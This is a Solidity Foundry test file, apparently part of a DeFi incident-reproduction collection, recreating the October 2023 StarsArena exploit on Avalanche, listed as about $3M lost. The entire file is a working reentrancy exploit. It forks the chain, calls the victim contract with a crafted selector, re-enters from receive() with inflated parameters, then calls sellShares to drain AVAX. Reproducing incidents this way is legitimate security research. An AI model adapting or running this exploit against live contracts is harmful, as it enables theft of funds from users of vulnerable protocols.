src/test/2023-10/StarsArena_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~3M$
8// Attacker : https://snowtrace.io/address/0xa2ebf3fcd757e9be1e58b643b6b5077d11b4ad7a
9// Attack Contract : https://snowtrace.io/address/0x7f283edc5ec7163de234e6a97fdfb16ff2d2c7ac
10// Victim Contract : https://snowtrace.io/address/0xa481b139a1a654ca19d2074f174f17d7534e8cec
11// Attack Tx : https://snowtrace.io/tx/0x4f37ffecdad598f53b8d5a2d9df98e3c00fbda4328585eb9947a412b5fe17ac5
12 
13// @Analysis
14// https://twitter.com/BlockSecTeam/status/1710556926986342911
15// https://twitter.com/Phalcon_xyz/status/1710554341466395065
16// https://twitter.com/peckshield/status/1710555944269292009
17 
18contract ContractTest is Test {
19    address private constant victimContract = 0xA481B139a1A654cA19d2074F174f17D7534e8CeC;
20    bool private reenter = true;
21 
22    function setUp() public {
23        vm.createSelectFork("avalanche", 36_136_405);
24    }
25 
26    function testExploit() public {
27        deal(address(this), 1 ether);
28 
29        emit log_named_decimal_uint("Attacker AVAX balance before exploit", address(this).balance, 18);
30 
31        (bool success,) = victimContract.call{value: 1 ether}(
32            abi.encodeWithSelector(bytes4(0xe9ccf3a3), address(this), true, address(this))
33        );
34        require(success, "Call to function with selector 0xe9ccf3a3 fail");
35 
36        (bool success2,) = victimContract.call(abi.encodeWithSignature("sellShares(address,uint256)", address(this), 1));
37        require(success2, "Call to sellShares() fail");
38 
39        emit log_named_decimal_uint("Attacker AVAX balance after exploit", address(this).balance, 18);
40    }
41 
42    receive() external payable {
43        if (reenter == true) {
44            (bool success,) = victimContract.call(abi.encodeWithSelector(bytes4(0x5632b2e4), 91e9, 91e9, 91e9, 91e9));
45            require(success, "Call to function with selector 0x5632b2e4 fail");
46            reenter = false;
47        }
48    }
49}